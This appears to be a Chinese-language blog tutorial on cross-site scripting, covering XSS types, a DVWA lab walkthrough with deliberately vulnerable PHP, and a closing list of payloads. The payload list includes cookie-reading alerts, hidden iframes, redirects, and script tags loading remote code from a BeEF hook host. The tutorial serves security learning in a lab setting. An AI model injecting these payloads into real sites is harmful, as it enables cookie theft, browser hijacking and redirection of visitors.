简介XSS
跨站脚本攻击XSS(cross site script),为了避免与css混淆,所以简称XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。
XSS是指恶意攻击者利用网站没有对用户1提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,使别的用户访问都会执行相应的嵌入代码,从而盗取用户资料,利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
XSS攻击的危害包括:
- 盗取各类用户账号,如机器登陆账号、用户网银账号、各类管理员账号。
- 控制企业数据,包括读取、篡改、添加、删除企业敏感数据。
- 盗窃企业重要的具有商业价值的资料。
- 非法转账。
- 强制发送电子邮件。
- 网站挂马。
- 控制受害者机器向其它网站发起攻击。
XSS原理解析
主要原因:过于信任客户端提交的数据。
反射型(reflected)
反射型XSS又称非持久性跨站点脚本攻击,它是最常见的XSS攻击类型。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(每次攻击需要用户的点击)
存储型(stored)
存储型XSS又称为持久性跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久XSS攻击危害更大,因为每当用打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS攻击。
常用方法
常用的JavaScript方法
- alert 用于显示带有一条指定消息和一个确认按钮的警告框。
- window.location 用于获得当前页面地址的地址,并把浏览器重定向到新的页面。
- onload 一张页面或一幅图像完成加载。
- onsubmit 确认按钮被点击。
- onerror 在加载文档或图像时发生错误。
常用的HTML标签
标签 | 应用 |
---|---|
iframe | iframe元素会创建包含另外一个文档的内联框架(行内框架)。 |
textarea | textarea标签定义多行的文本输入控件。 |
img | img元素向网页中嵌入一副图像。 |
– | – |
script | script标签用于定义客户端脚本,比如JavaScript。script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件。必需的type属性规定脚本的MIME类型。JavaScript的常见应用是图像操作、表单验证以及动态内容更新。 |
dvwa中低级难度的实现
反射型
- 进入环境查看源码。
源码如下:
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . $_GET['name'];
echo '</pre>';
}
?>
- 构造XSS脚本攻击。
我们用alert做个简单的弹窗:<script>alert('hacked by vergilben')</script>
点击submit提交查看下结果:
存储型
- 进入环境查看源码。
源码如下:
if(isset($_POST['btnSign']))
{
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);
// Sanitize name input
$name = mysql_real_escape_string($name);
$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
}
?>
- 构造xss脚本攻击。
点击sign guestbook
这个命令已经挂载到了网站上,再次访问会直接出现弹窗,接下来用win7试一试
打开网页:
点击存储型xss:
OK!现在只要以这个身份进入页面,一旦点击存储型xss就会出现弹窗,也就是我们的小木马。
构造XSS脚本
-
弹窗警告
用此脚本实现弹窗提示,一般作为漏洞测试或者演示使用,类似sql注入中的单引号’,一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤,这样就可以证明这个页面位置存在XSS漏洞。
<script>alert('xss')</script>
<script>alert(document.cookie)</script>
-
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
-
页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
-
弹窗警告并重定向
<script>alert("请移步至新网站");location.href="http://www.baidu.com"</script>
<script>alert('xss');location.href="xxxxxxxx"</script>
-
访问恶意代码
<script src="http://www.baidu.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js">
-
巧用图片标签
<img src="#"alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>
未完,等收集到更多的会写上。
如需转载,请注明原文出处,作者:vergilben